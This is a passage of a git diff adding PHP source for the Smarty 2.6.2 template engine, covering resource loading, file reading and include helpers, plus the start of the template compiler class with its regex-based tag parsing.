+        $_results = $smarty_compiler->_compile_file($resource_name, $source_content, $compiled_content);
+
+        if ($smarty_compiler->_cache_serial) {
+            $this->_cache_include_info = array(
+                'cache_serial'=>$smarty_compiler->_cache_serial
+                ,'plugins_code'=>$smarty_compiler->_plugins_code
+                ,'include_file_path' => $cache_include_path);
+
+        } else {
+            $this->_cache_include_info = null;
+
+        }
+
+        return $_results;
+    }
+
+    /**
+     * Get the compile path for this resource
+     *
+     * @param string $resource_name
+     * @return string results of {@link _get_auto_filename()}
+     */
+    function _get_compile_path($resource_name)
+    {
+        return $this->_get_auto_filename($this->compile_dir, $resource_name,
+                                         $this->_compile_id) . '.php';
+    }
+
+    /**
+     * fetch the template info. Gets timestamp, and source
+     * if get_source is true
+     *
+     * sets $source_content to the source of the template, and
+     * $resource_timestamp to its time stamp
+     * @param string $resource_name
+     * @param string $source_content
+     * @param integer $resource_timestamp
+     * @param boolean $get_source
+     * @param boolean $quiet
+     * @return boolean
+     */
+
+    function _fetch_resource_info(&$params)
+    {
+        if(!isset($params['get_source'])) { $params['get_source'] = true; }
+        if(!isset($params['quiet'])) { $params['quiet'] = false; }
+
+        $_return = false;
+        $_params = array('resource_name' => $params['resource_name']) ;
+        if (isset($params['resource_base_path']))
+            $_params['resource_base_path'] = $params['resource_base_path'];
+
+        if ($this->_parse_resource_name($_params)) {
+            $_resource_type = $_params['resource_type'];
+            $_resource_name = $_params['resource_name'];
+            switch ($_resource_type) {
+                case 'file':
+                    if ($params['get_source']) {
+                        $params['source_content'] = $this->_read_file($_resource_name);
+                    }
+                    $params['resource_timestamp'] = filemtime($_resource_name);
+                    $_return = is_file($_resource_name);
+                    break;
+
+                default:
+                    // call resource functions to fetch the template source and timestamp
+                    if ($params['get_source']) {
+                        $_source_return = isset($this->_plugins['resource'][$_resource_type]) &&
+                            call_user_func_array($this->_plugins['resource'][$_resource_type][0][0],
+                                                 array($_resource_name, &$params['source_content'], &$this));
+                    } else {
+                        $_source_return = true;
+                    }
+
+                    $_timestamp_return = isset($this->_plugins['resource'][$_resource_type]) &&
+                        call_user_func_array($this->_plugins['resource'][$_resource_type][0][1],
+                                             array($_resource_name, &$params['resource_timestamp'], &$this));
+
+                    $_return = $_source_return && $_timestamp_return;
+                    break;
+            }
+        }
+
+        if (!$_return) {
+            // see if we can get a template with the default template handler
+            if (!empty($this->default_template_handler_func)) {
+                if (!is_callable($this->default_template_handler_func)) {
+                    $this->trigger_error("default template handler function \"$this->default_template_handler_func\" doesn't exist.");
+                } else {
+                    $_return = call_user_func_array(
+                        $this->default_template_handler_func,
+                        array($_params['resource_type'], $_params['resource_name'], &$params['source_content'], &$params['resource_timestamp'], &$this));
+                }
+            }
+        }
+
+        if (!$_return) {
+            if (!$params['quiet']) {
+                $this->trigger_error('unable to read resource: "' . $params['resource_name'] . '"');
+            }
+        } else if ($_return && $this->security) {
+            require_once(SMARTY_DIR . 'core' . DIRECTORY_SEPARATOR . 'core.is_secure.php');
+            if (!smarty_core_is_secure($_params, $this)) {
+                if (!$params['quiet'])
+                    $this->trigger_error('(secure mode) accessing "' . $params['resource_name'] . '" is not allowed');
+                $params['source_content'] = null;
+                $params['resource_timestamp'] = null;
+                return false;
+            }
+        }
+        return $_return;
+    }
+
+
+    /**
+     * parse out the type and name from the resource
+     *
+     * @param string $resource_base_path
+     * @param string $resource_name
+     * @param string $resource_type
+     * @param string $resource_name
+     * @return boolean
+     */
+
+    function _parse_resource_name(&$params)
+    {
+
+        // split tpl_path by the first colon
+        $_resource_name_parts = explode(':', $params['resource_name'], 2);
+
+        if (count($_resource_name_parts) == 1) {
+            // no resource type given
+            $params['resource_type'] = $this->default_resource_type;
+            $params['resource_name'] = $_resource_name_parts[0];
+        } else {
+            if(strlen($_resource_name_parts[0]) == 1) {
+                // 1 char is not resource type, but part of filepath
+                $params['resource_type'] = $this->default_resource_type;
+                $params['resource_name'] = $params['resource_name'];
+            } else {
+                $params['resource_type'] = $_resource_name_parts[0];
+                $params['resource_name'] = $_resource_name_parts[1];
+            }
+        }
+
+        if ($params['resource_type'] == 'file') {
+            if (!preg_match("/^([\/\\\\]|[a-zA-Z]:[\/\\\\])/", $params['resource_name'])) {
+                // relative pathname to $params['resource_base_path']
+                // use the first directory where the file is found
+                if (isset($params['resource_base_path'])) {
+                    $_resource_base_path = (array)$params['resource_base_path'];
+                } else {
+                    $_resource_base_path = (array)$this->template_dir;
+                    $_resource_base_path[] = '.';
+                }
+                foreach ($_resource_base_path as $_curr_path) {
+                    $_fullpath = $_curr_path . DIRECTORY_SEPARATOR . $params['resource_name'];
+                    if (file_exists($_fullpath) && is_file($_fullpath)) {
+                        $params['resource_name'] = $_fullpath;
+                        return true;
+                    }
+                    // didn't find the file, try include_path
+                    $_params = array('file_path' => $_fullpath);
+                    require_once(SMARTY_DIR . 'core' . DIRECTORY_SEPARATOR . 'core.get_include_path.php');
+                    if(smarty_core_get_include_path($_params, $this)) {
+                        $params['resource_name'] = $_params['new_file_path'];
+                        return true;
+                    }
+                }
+                return false;
+            }
+        } elseif (empty($this->_plugins['resource'][$params['resource_type']])) {
+            $_params = array('type' => $params['resource_type']);
+            require_once(SMARTY_DIR . 'core' . DIRECTORY_SEPARATOR . 'core.load_resource_plugin.php');
+            smarty_core_load_resource_plugin($_params, $this);
+        }
+
+        return true;
+    }
+
+
+    /**
+     * Handle modifiers
+     *
+     * @param string|null $modifier_name
+     * @param array|null $map_array
+     * @return string result of modifiers
+     */
+    function _run_mod_handler()
+    {
+        $_args = func_get_args();
+        list($_modifier_name, $_map_array) = array_splice($_args, 0, 2);
+        list($_func_name, $_tpl_file, $_tpl_line) =
+            $this->_plugins['modifier'][$_modifier_name];
+
+        $_var = $_args[0];
+        foreach ($_var as $_key => $_val) {
+            $_args[0] = $_val;
+            $_var[$_key] = call_user_func_array($_func_name, $_args);
+        }
+        return $_var;
+    }
+
+    /**
+     * Remove starting and ending quotes from the string
+     *
+     * @param string $string
+     * @return string
+     */
+    function _dequote($string)
+    {
+        if (($string{0} == "'" || $string{0} == '"') &&
+            $string{strlen($string)-1} == $string{0})
+            return substr($string, 1, -1);
+        else
+            return $string;
+    }
+
+
+    /**
+     * read in a file from line $start for $lines.
+     * read the entire file if $start and $lines are null.
+     *
+     * @param string $filename
+     * @param integer $start
+     * @param integer $lines
+     * @return string
+     */
+    function _read_file($filename, $start=null, $lines=null)
+    {
+        if (!($fd = @fopen($filename, 'r'))) {
+            return false;
+        }
+        flock($fd, LOCK_SH);
+        if ($start == null && $lines == null) {
+            // read the entire file
+            $contents = fread($fd, filesize($filename));
+        } else {
+            if ( $start > 1 ) {
+                // skip the first lines before $start
+                for ($loop=1; $loop < $start; $loop++) {
+                    fgets($fd, 65536);
+                }
+            }
+            if ( $lines == null ) {
+                // read the rest of the file
+                while (!feof($fd)) {
+                    $contents .= fgets($fd, 65536);
+                }
+            } else {
+                // read up to $lines lines
+                for ($loop=0; $loop < $lines; $loop++) {
+                    $contents .= fgets($fd, 65536);
+                    if (feof($fd)) {
+                        break;
+                    }
+                }
+            }
+        }
+        fclose($fd);
+        return $contents;
+    }
+
+    /**
+     * get a concrete filename for automagically created content
+     *
+     * @param string $auto_base
+     * @param string $auto_source
+     * @param string $auto_id
+     * @return string
+     * @staticvar string|null
+     * @staticvar string|null
+     */
+    function _get_auto_filename($auto_base, $auto_source = null, $auto_id = null)
+    {
+        $_compile_dir_sep =  $this->use_sub_dirs ? DIRECTORY_SEPARATOR : '^';
+
+        if(@is_dir($auto_base)) {
+            $_return = $auto_base . DIRECTORY_SEPARATOR;
+        } else {
+            // auto_base not found, try include_path
+            $_params = array('file_path' => $auto_base);
+            require_once(SMARTY_DIR . 'core' . DIRECTORY_SEPARATOR . 'core.get_include_path.php');
+            smarty_core_get_include_path($_params, $this);
+            $_return = isset($_params['new_file_path']) ? $_params['new_file_path'] . DIRECTORY_SEPARATOR : null;
+        }
+
+        if(isset($auto_id)) {
+            // make auto_id safe for directory names
+            $auto_id = str_replace('%7C',$_compile_dir_sep,(urlencode($auto_id)));
+            // split into separate directories
+            $_return .= $auto_id . $_compile_dir_sep;
+        }
+
+        if(isset($auto_source)) {
+            // make source name safe for filename
+            $_filename = urlencode(basename($auto_source));
+            $_crc32 = crc32($auto_source) . $_compile_dir_sep;
+            // prepend %% to avoid name conflicts with
+            // with $params['auto_id'] names
+            $_crc32 = '%%' . substr($_crc32,0,3) . $_compile_dir_sep . '%%' . $_crc32;
+            $_return .= $_crc32 . $_filename;
+        }
+
+        return $_return;
+    }
+
+    /**
+     * unlink a file, possibly using expiration time
+     *
+     * @param string $resource
+     * @param integer $exp_time
+     */
+    function _unlink($resource, $exp_time = null)
+    {
+        if(isset($exp_time)) {
+            if(time() - @filemtime($resource) >= $exp_time) {
+                return @unlink($resource);
+            }
+        } else {
+            return @unlink($resource);
+        }
+    }
+
+    /**
+     * returns an auto_id for auto-file-functions
+     *
+     * @param string $cache_id
+     * @param string $compile_id
+     * @return string|null
+     */
+    function _get_auto_id($cache_id=null, $compile_id=null) {
+    if (isset($cache_id))
+        return (isset($compile_id)) ? $cache_id . '|' . $compile_id  : $cache_id;
+    elseif(isset($compile_id))
+        return $compile_id;
+    else
+        return null;
+    }
+
+    /**
+     * trigger Smarty plugin error
+     *
+     * @param string $error_msg
+     * @param string $tpl_file
+     * @param integer $tpl_line
+     * @param string $file
+     * @param integer $line
+     * @param integer $error_type
+     */
+    function _trigger_fatal_error($error_msg, $tpl_file = null, $tpl_line = null,
+            $file = null, $line = null, $error_type = E_USER_ERROR)
+    {
+        if(isset($file) && isset($line)) {
+            $info = ' ('.basename($file).", line $line)";
+        } else {
+            $info = '';
+        }
+        if (isset($tpl_line) && isset($tpl_file)) {
+            $this->trigger_error('[in ' . $tpl_file . ' line ' . $tpl_line . "]: $error_msg$info", $error_type);
+        } else {
+            $this->trigger_error($error_msg . $info, $error_type);
+        }
+    }
+
+
+    /**
+     * callback function for preg_replace, to call a non-cacheable block
+     * @return string
+     */
+    function _process_compiled_include_callback($match) {
+        $_func = '_smarty_tplfunc_'.$match[2].'_'.$match[3];
+        ob_start();
+        $_func($this);
+        $_ret = ob_get_contents();
+        ob_end_clean();
+        return $_ret;
+    }
+
+
+    /**
+     * called for included templates
+     *
+     * @param string $_smarty_include_tpl_file
+     * @param string $_smarty_include_vars
+     */
+
+    // $_smarty_include_tpl_file, $_smarty_include_vars
+
+    function _smarty_include($params)
+    {
+        if ($this->debugging) {
+            $_params = array();
+            require_once(SMARTY_DIR . 'core' . DIRECTORY_SEPARATOR . 'core.get_microtime.php');
+            $debug_start_time = smarty_core_get_microtime($_params, $this);
+            $this->_smarty_debug_info[] = array('type'      => 'template',
+                                                  'filename'  => $params['smarty_include_tpl_file'],
+                                                  'depth'     => ++$this->_inclusion_depth);
+            $included_tpls_idx = count($this->_smarty_debug_info) - 1;
+        }
+
+        $this->_tpl_vars = array_merge($this->_tpl_vars, $params['smarty_include_vars']);
+
+        // config vars are treated as local, so push a copy of the
+        // current ones onto the front of the stack
+        array_unshift($this->_config, $this->_config[0]);
+
+        $_smarty_compile_path = $this->_get_compile_path($params['smarty_include_tpl_file']);
+
+
+        if ($this->_is_compiled($params['smarty_include_tpl_file'], $_smarty_compile_path)
+            || $this->_compile_resource($params['smarty_include_tpl_file'], $_smarty_compile_path))
+        {
+            include($_smarty_compile_path);
+        }
+
+        // pop the local vars off the front of the stack
+        array_shift($this->_config);
+
+        $this->_inclusion_depth--;
+
+        if ($this->debugging) {
+            // capture time for debugging info
+            $_params = array();
+            require_once(SMARTY_DIR . 'core' . DIRECTORY_SEPARATOR . 'core.get_microtime.php');
+            $this->_smarty_debug_info[$included_tpls_idx]['exec_time'] = smarty_core_get_microtime($_params, $this) - $debug_start_time;
+        }
+
+        if ($this->caching) {
+            $this->_cache_info['template'][$params['smarty_include_tpl_file']] = true;
+        }
+    }
+
+
+    /**
+     * get or set an array of cached attributes for function that is
+     * not cacheable
+     * @return array
+     */
+    function &_smarty_cache_attrs($cache_serial, $count) {
+        $_cache_attrs =& $this->_cache_info['cache_attrs'][$cache_serial][$count];
+
+        if ($this->_cache_including) {
+            /* return next set of cache_attrs */
+            $_return =& current($_cache_attrs);
+            next($_cache_attrs);
+            return $_return;
+
+        } else {
+            /* add a reference to a new set of cache_attrs */
+            $_cache_attrs[] = array();
+            return $_cache_attrs[count($_cache_attrs)-1];
+
+        }
+
+    }
+
+
+    /**
+     * wrapper for include() retaining $this
+     * @return mixed
+     */
+    function _include($filename, $once=false, $params=null)
+    {
+        if ($once) {
+            return include_once($filename);
+        } else {
+            return include($filename);
+        }
+    }
+
+
+    /**
+     * wrapper for eval() retaining $this
+     * @return mixed
+     */
+    function _eval($code, $params=null)
+    {
+        return eval($code);
+    }
+    /**#@-*/
+
+}
+
+/* vim: set expandtab: */
+
+?>
diff --git a/google/smarty/Smarty_Compiler.class.php b/google/smarty/Smarty_Compiler.class.php
new file mode 100755 (executable)
index 0000000..a306fdb
--- /dev/null
@@ -0,0 +1,2225 @@
+<?php
+
+/**
+ * Project:     Smarty: the PHP compiling template engine
+ * File:        Smarty_Compiler.class.php
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this library; if not, write to the Free Software
+ * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
+ *
+ * @link http://smarty.php.net/
+ * @author Monte Ohrt <monte@ispi.net>
+ * @author Andrei Zmievski <andrei@php.net>
+ * @version 2.6.2
+ * @copyright 2001-2004 ispi of Lincoln, Inc.
+ * @package Smarty
+ */
+
+/* $Id: Smarty_Compiler.class.php,v 1.1.1.1 2006/03/27 14:44:14 cscott Exp $ */
+
+/**
+ * Template compiling class
+ * @package Smarty
+ */
+class Smarty_Compiler extends Smarty {
+
+    // internal vars
+    /**#@+
+     * @access private
+     */
+    var $_folded_blocks         =   array();    // keeps folded template blocks
+    var $_current_file          =   null;       // the current template being compiled
+    var $_current_line_no       =   1;          // line number for error messages
+    var $_capture_stack         =   array();    // keeps track of nested capture buffers
+    var $_plugin_info           =   array();    // keeps track of plugins to load
+    var $_init_smarty_vars      =   false;
+    var $_permitted_tokens      =   array('true','false','yes','no','on','off','null');
+    var $_db_qstr_regexp        =   null;        // regexps are setup in the constructor
+    var $_si_qstr_regexp        =   null;
+    var $_qstr_regexp           =   null;
+    var $_func_regexp           =   null;
+    var $_var_bracket_regexp    =   null;
+    var $_dvar_guts_regexp      =   null;
+    var $_dvar_regexp           =   null;
+    var $_cvar_regexp           =   null;
+    var $_svar_regexp           =   null;
+    var $_avar_regexp           =   null;
+    var $_mod_regexp            =   null;
+    var $_var_regexp            =   null;
+    var $_parenth_param_regexp  =   null;
+    var $_func_call_regexp      =   null;
+    var $_obj_ext_regexp        =   null;
+    var $_obj_start_regexp      =   null;
+    var $_obj_params_regexp     =   null;
+    var $_obj_call_regexp       =   null;
+    var $_cacheable_state       =   0;
+    var $_cache_attrs_count     =   0;
+    var $_nocache_count         =   0;
+    var $_cache_serial          =   null;
+    var $_cache_include         =   null;
+
+    var $_strip_depth           =   0;
+    var $_additional_newline    =   "\n";
+
+    /**#@-*/
+    /**
+     * The class constructor.
+     */
+    function Smarty_Compiler()
+    {
+        // matches double quoted strings:
+        // "foobar"
+        // "foo\"bar"
+        $this->_db_qstr_regexp = '"[^"\\\\]*(?:\\\\.[^"\\\\]*)*"';
+
+        // matches single quoted strings:
+        // 'foobar'
+        // 'foo\'bar'
+        $this->_si_qstr_regexp = '\'[^\'\\\\]*(?:\\\\.[^\'\\\\]*)*\'';
+
+        // matches single or double quoted strings
+        $this->_qstr_regexp = '(?:' . $this->_db_qstr_regexp . '|' . $this->_si_qstr_regexp . ')';
+
+        // matches bracket portion of vars
+        // [0]
+        // [foo]
+        // [$bar]
+        $this->_var_bracket_regexp = '\[\$?[\w\.]+\]';
+
+        // matches $ vars (not objects):
+        // $foo
+        // $foo.bar
+        // $foo.bar.foobar
+        // $foo[0]
+        // $foo[$bar]
+        // $foo[5][blah]
+        // $foo[5].bar[$foobar][4]
+        $this->_dvar_math_regexp = '[\+\-\*\/\%]';
+        $this->_dvar_math_var_regexp = '[\$\w\.\+\-\*\/\%\d\>\[\]]';
+        $this->_dvar_num_var_regexp = '\-?\d+(?:\.\d+)?' . $this->_dvar_math_var_regexp;
+        $this->_dvar_guts_regexp = '\w+(?:' . $this->_var_bracket_regexp
+                . ')*(?:\.\$?\w+(?:' . $this->_var_bracket_regexp . ')*)*(?:' . $this->_dvar_math_regexp . '(?:\-?\d+(?:\.\d+)?|' . $this->_dvar_math_var_regexp . ')*)?';
+        $this->_dvar_regexp = '\$' . $this->_dvar_guts_regexp;
+
+        // matches config vars:
+        // #foo#
+        // #foobar123_foo#
+        $this->_cvar_regexp = '\#\w+\#';
+
+        // matches section vars:
+        // %foo.bar%
+        $this->_svar_regexp = '\%\w+\.\w+\%';
+
+        // matches all valid variables (no quotes, no modifiers)
+        $this->_avar_regexp = '(?:' . $this->_dvar_regexp . '|'
+           . $this->_cvar_regexp . '|' . $this->_svar_regexp . ')';
+
+        // matches valid variable syntax:
+        // $foo
+        // $foo
+        // #foo#
+        // #foo#
+        // "text"
+        // "text"
+        $this->_var_regexp = '(?:' . $this->_avar_regexp . '|' . $this->_qstr_regexp . ')';
+
+        // matches valid object call (no objects allowed in parameters):
+        // $foo->bar
+        // $foo->bar()
+        // $foo->bar("text")
+        // $foo->bar($foo, $bar, "text")
+        // $foo->bar($foo, "foo")
+        // $foo->bar->foo()
+        // $foo->bar->foo->bar()
+        $this->_obj_ext_regexp = '\->(?:\$?' . $this->_dvar_guts_regexp . ')';
+        $this->_obj_params_regexp = '\((?:\w+|'
+                . $this->_var_regexp . '(?:\s*,\s*(?:(?:\w+|'
+                . $this->_var_regexp . ')))*)?\)';
+        $this->_obj_start_regexp = '(?:' . $this->_dvar_regexp . '(?:' . $this->_obj_ext_regexp . ')+)';
+        $this->_obj_call_regexp = '(?:' . $this->_obj_start_regexp . '(?:' . $this->_obj_params_regexp . ')?)';
+
+        // matches valid modifier syntax:
+        // |foo
+        // |@foo
+        // |foo:"bar"
+        // |foo:$bar
+        // |foo:"bar":$foobar
+        // |foo|bar
+        // |foo:$foo->bar
+        $this->_mod_regexp = '(?:\|@?\w+(?::(?>-?\w+|'
+           . $this->_obj_call_regexp . '|' . $this->_avar_regexp . '|' . $this->_qstr_regexp .'))*)';
+
+        // matches valid function name:
+        // foo123
+        // _foo_bar
+        $this->_func_regexp = '[a-zA-Z_]\w*';
+
+        // matches valid registered object:
+        // foo->bar
+        $this->_reg_obj_regexp = '[a-zA-Z_]\w*->[a-zA-Z_]\w*';
+
+        // matches valid parameter values:
+        // true
+        // $foo
+        // $foo|bar
+        // #foo#
+        // #foo#|bar
+        // "text"
+        // "text"|bar
+        // $foo->bar
+        $this->_param_regexp = '(?:\s*(?:' . $this->_obj_call_regexp . '|'
+           . $this->_var_regexp  . '|\w+)(?>' . $this->_mod_regexp . '*)\s*)';
+
+        // matches valid parenthesised function parameters:
+        //
+        // "text"
+        //    $foo, $bar, "text"
+        // $foo|bar, "foo"|bar, $foo->bar($foo)|bar
+        $this->_parenth_param_regexp = '(?:\((?:\w+|'
+                . $this->_param_regexp . '(?:\s*,\s*(?:(?:\w+|'
+                . $this->_param_regexp . ')))*)?\))';
+
+        // matches valid function call:
+        // foo()
+        // foo_bar($foo)
+        // _foo_bar($foo,"bar")
+        // foo123($foo,$foo->bar(),"foo")
+        $this->_func_call_regexp = '(?:' . $this->_func_regexp . '\s*(?:'
+           . $this->_parenth_param_regexp . '))';
+    }
+
+    /**
+     * compile a resource
+     *
+     * sets $compiled_content to the compiled source
+     * @param string $resource_name
+     * @param string $source_content
+     * @param string $compiled_content
+     * @return true
+     */
+    function _compile_file($resource_name, $source_content, &$compiled_content)
+    {
+
+        if ($this->security) {
+            // do not allow php syntax to be executed unless specified
+            if ($this->php_handling == SMARTY_PHP_ALLOW &&
+                !$this->security_settings['PHP_HANDLING']) {
+                $this->php_handling = SMARTY_PHP_PASSTHRU;
+            }
+        }
+
+        $this->_load_filters();
+
+        $this->_current_file = $resource_name;
+        $this->_current_line_no = 1;
+        $ldq = preg_quote($this->left_delimiter, '!');
+        $rdq = preg_quote($this->right_delimiter, '!');
+
+        // run template source through prefilter functions
+        if (count($this->_plugins['prefilter']) > 0) {
+            foreach ($this->_plugins['prefilter'] as $filter_name => $prefilter) {
+                if ($prefilter === false) continue;
+                if ($prefilter[3] || is_callable($prefilter[0])) {
+                    $source_content = call_user_func_array($prefilter[0],
+                                                            array($source_content, &$this));
+                    $this->_plugins['prefilter'][$filter_name][3] = true;
+                } else {
+                    $this->_trigger_fatal_error("[plugin] prefilter '$filter_name' is not implemented");
+                }
+            }
+        }
+
+        /* fetch all special blocks */
+        $search = "!{$ldq}\*(.*?)\*{$rdq}|{$ldq}\s*literal\s*{$rdq}(.*?){$ldq}\s*/literal\s*{$rdq}|{$ldq}\s*php\s*{$rdq}(.*?){$ldq}\s*/php\s*{$rdq}!s";
+
+        preg_match_all($search, $source_content, $match,  PREG_SET_ORDER);
+        $this->_folded_blocks = $match;
+        reset($this->_folded_blocks);
+
+        /* replace special blocks by "{php}" */
+        $source_content = preg_replace($search.'e', "'"
+                                       . $this->_quote_replace($this->left_delimiter) . 'php'
+                                       . "' . str_repeat(\"\n\", substr_count('\\0', \"\n\")) .'"
+                                       . $this->_quote_replace($this->right_delimiter)
+                                       . "'"
+                                       , $source_content);
+
+        /* Gather all template tags. */
+        preg_match_all("!{$ldq}\s*(.*?)\s*{$rdq}!s", $source_content, $_match);
+        $template_tags = $_match[1];
+        /* Split content by template tags to obtain non-template content. */
+        $text_blocks = preg_split("!{$ldq}.*?{$rdq}!s", $source_content);
+
+        /* loop through text blocks */
+        for ($curr_tb = 0, $for_max = count($text_blocks); $curr_tb < $for_max; $curr_tb++) {
+            /* match anything resembling php tags */
+            if (preg_match_all('!(<\?(?:\w+|=)?|\?>|language\s*=\s*[\"\']?php[\"\']?)!is', $text_blocks[$curr_tb], $sp_match)) {
+                /* replace tags with placeholders to prevent recursive replacements */
+                $sp_match[1] = array_unique($sp_match[1]);
+                usort($sp_match[1], '_smarty_sort_length');
+                for ($curr_sp = 0, $for_max2 = count($sp_match[1]); $curr_sp < $for_max2; $curr_sp++) {
+                    $text_blocks[$curr_tb] = str_replace($sp_match[1][$curr_sp],'%%%SMARTYSP'.$curr_sp.'%%%',$text_blocks[$curr_tb]);
+                }
+                /* process each one */
+                for ($curr_sp = 0, $for_max2 = count($sp_match[1]); $curr_sp < $for_max2; $curr_sp++) {
+                    if ($this->php_handling == SMARTY_PHP_PASSTHRU) {
+                        /* echo php contents */
+                        $text_blocks[$curr_tb] = str_replace('%%%SMARTYSP'.$curr_sp.'%%%', '<?php echo \''.str_replace("'", "\'", $sp_match[1][$curr_sp]).'\'; ?>'."\n", $text_blocks[$curr_tb]);
+                    } else if ($this->php_handling == SMARTY_PHP_QUOTE) {
+                        /* quote php tags */
+                        $text_blocks[$curr_tb] = str_replace('%%%SMARTYSP'.$curr_sp.'%%%', htmlspecialchars($sp_match[1][$curr_sp]), $text_blocks[$curr_tb]);
+                    } else if ($this->php_handling == SMARTY_PHP_REMOVE) {
+                        /* remove php tags */
+                        $text_blocks[$curr_tb] = str_replace('%%%SMARTYSP'.$curr_sp.'%%%', '', $text_blocks[$curr_tb]);
+                    } else {
+                        /* SMARTY_PHP_ALLOW, but echo non php starting tags */
+                        $sp_match[1][$curr_sp] = preg_replace('%(<\?(?!php|=|$))%i', '<?php echo \'\\1\'?>'."\n", $sp_match[1][$curr_sp]);
+                        $text_blocks[$curr_tb] = str_replace('%%%SMARTYSP'.$curr_sp.'%%%', $sp_match[1][$curr_sp], $text_blocks[$curr_tb]);
+                    }
+                }
+            }
+        }
+
+        /* Compile the template tags into PHP code. */
+        $compiled_tags = array();
+        for ($i = 0, $for_max = count($template_tags); $i < $for_max; $i++) {
+            $this->_current_line_no += substr_count($text_blocks[$i], "\n");
+            $compiled_tags[] = $this->_compile_tag($template_tags[$i]);
+            $this->_current_line_no += substr_count($template_tags[$i], "\n");
+        }
+        if (count($this->_tag_stack)>0) {
+            list($_open_tag, $_line_no) = end($this->_tag_stack);
+            $this->_syntax_error("unclosed tag \{$_open_tag} (opened line $_line_no).", E_USER_ERROR, __FILE__, __LINE__);
+            return;
+        }
+
+        $compiled_content = '';
+
+        /* Interleave the compiled contents and text blocks to get the final result. */
+        for ($i = 0, $for_max = count($compiled_tags); $i < $for_max; $i++) {
+            if ($compiled_tags[$i] == '') {
+                // tag result empty, remove first newline from following text block
+                $text_blocks[$i+1] = preg_replace('!^(\r\n|\r|\n)!', '', $text_blocks[$i+1]);
+            }
+            $compiled_content .= $text_blocks[$i].$compiled_tags[$i];
+        }
+        $compiled_content .= $text_blocks[$i];
+
+        /* Reformat data between 'strip' and '/strip' tags, removing spaces, tabs and newlines. */
+        if (preg_match_all("!{$ldq}strip{$rdq}.*?{$ldq}/strip{$rdq}!s", $compiled_content, $_match)) {
+            $strip_tags = $_match[0];
+            $strip_tags_modified = preg_replace("!{$ldq}/?strip{$rdq}|[\t ]+$|^[\t ]+!m", '', $strip_tags);
+            $strip_tags_modified = preg_replace('![\r\n]+!m', '', $strip_tags_modified);
+            for ($i = 0, $for_max = count($strip_tags); $i < $for_max; $i++)
+                $compiled_content = preg_replace("!{$ldq}strip{$rdq}.*?{$ldq}/strip{$rdq}!s",
+                                                  $this->_quote_replace($strip_tags_modified[$i]),
+                                                  $compiled_content, 1);
+        }
+
+        // remove \n from the end of the file, if any
+        if (($_len=strlen($compiled_content)) && ($compiled_content{$_len - 1} == "\n" )) {
+            $compiled_content = substr($compiled_content, 0, -1);
+        }
+
+        if (!empty($this->_cache_serial)) {
+            $compiled_content = "<?php \$this->_cache_serials['".$this->_cache_include."'] = '".$this->_cache_serial."'; ?>" . $compiled_content;
+        }
+
+        // remove unnecessary close/open tags
+        $compiled_content = preg_replace('!\?>\n?<\?php!', '', $compiled_content);
+
+        // run compiled template through postfilter functions
+        if (count($this->_plugins['postfilter']) > 0) {
+            foreach ($this->_plugins['postfilter'] as $filter_name => $postfilter) {
+                if ($postfilter === false) continue;
+                if ($postfilter[3] || is_callable($postfilter[0])) {
+                    $compiled_content = call_user_func_array($postfilter[0],
+                                                              array($compiled_content, &$this));
+                    $this->_plugins['postfilter'][$filter_name][3] = true;
+                } else {
+                    $this->_trigger_fatal_error("Smarty plugin error: postfilter '$filter_name' is not implemented");
+                }
+            }
+        }
+
+        // put header at the top of the compiled template
+        $template_header = "<?php /* Smarty version ".$this->_version.", created on ".strftime("%Y-%m-%d %H:%M:%S")."\n";
+        $template_header .= "         compiled from ".strtr(urlencode($resource_name), array('%2F'=>'/', '%3A'=>':'))." */ ?>\n";
+
+        /* Emit code to load needed plugins. */
+        $this->_plugins_code = '';
+        if (count($this->_plugin_info)) {
+            $_plugins_params = "array('plugins' => array(";
+            foreach ($this->_plugin_info as $plugin_type => $plugins) {
+                foreach ($plugins as $plugin_name => $plugin_info) {
+                    $_plugins_params .= "array('$plugin_type', '$plugin_name', '$plugin_info[0]', $plugin_info[1], ";
+                    $_plugins_params .= $plugin_info[2] ? 'true),' : 'false),';
+                }
+            }
+            $_plugins_params .= '))';
+            $plugins_code = "<?php require_once(SMARTY_DIR . 'core' . DIRECTORY_SEPARATOR . 'core.load_plugins.php');\nsmarty_core_load_plugins($_plugins_params, \$this); ?>\n";
+            $template_header .= $plugins_code;
+            $this->_plugin_info = array();
+            $this->_plugins_code = $plugins_code;
+        }
+
+        if ($this->_init_smarty_vars) {
+            $template_header .= "<?php require_once(SMARTY_DIR . 'core' . DIRECTORY_SEPARATOR . 'core.assign_smarty_interface.php');\nsmarty_core_assign_smarty_interface(null, \$this); ?>\n";
+            $this->_init_smarty_vars = false;
+        }
+
+        $compiled_content = $template_header . $compiled_content;
+        return true;
+    }
+
+    /**
+     * Compile a template tag
+     *
+     * @param string $template_tag
+     * @return string
+     */
+    function _compile_tag($template_tag)
+    {
+        /* Matched comment. */
+        if ($template_tag{0} == '*' && $template_tag{strlen($template_tag) - 1} == '*')
+            return '';
+
+        /* Split tag into two three parts: command, command modifiers and the arguments. */
+        if(! preg_match('/^(?:(' . $this->_obj_call_regexp . '|' . $this->_var_regexp
+                . '|\/?' . $this->_reg_obj_regexp . '|\/?' . $this->_func_regexp . ')(' . $this->_mod_regexp . '*))
+                      (?:\s+(.*))?$
+                    /xs', $template_tag, $match)) {
+            $this->_syntax_error("unrecognized tag: $template_tag", E_USER_ERROR, __FILE__, __LINE__);
+        }
+
+        $tag_command = $match[1];
+        $tag_modifier = isset($match[2]) ? $match[2] : null;
+        $tag_args = isset($match[3]) ? $match[3] : null;
+
+        if (preg_match('!^' . $this->_obj_call_regexp . '|' . $this->_var_regexp . '$!', $tag_command)) {
+            /* tag name is a variable or object */
+            $_return = $this->_parse_var_props($tag_command . $tag_modifier, $this->_parse_attrs($tag_args));
+            if(isset($_tag_attrs['assign'])) {
+                return "<?php \$this->assign('" . $this->_dequote($_tag_attrs['assign']) . "', $_return ); ?>\n";
+            } else {
+                return "<?php echo $_return; ?>" . $this->_additional_newline;
+            }
+        }
+
+        /* If the tag name is a registered object, we process it. */
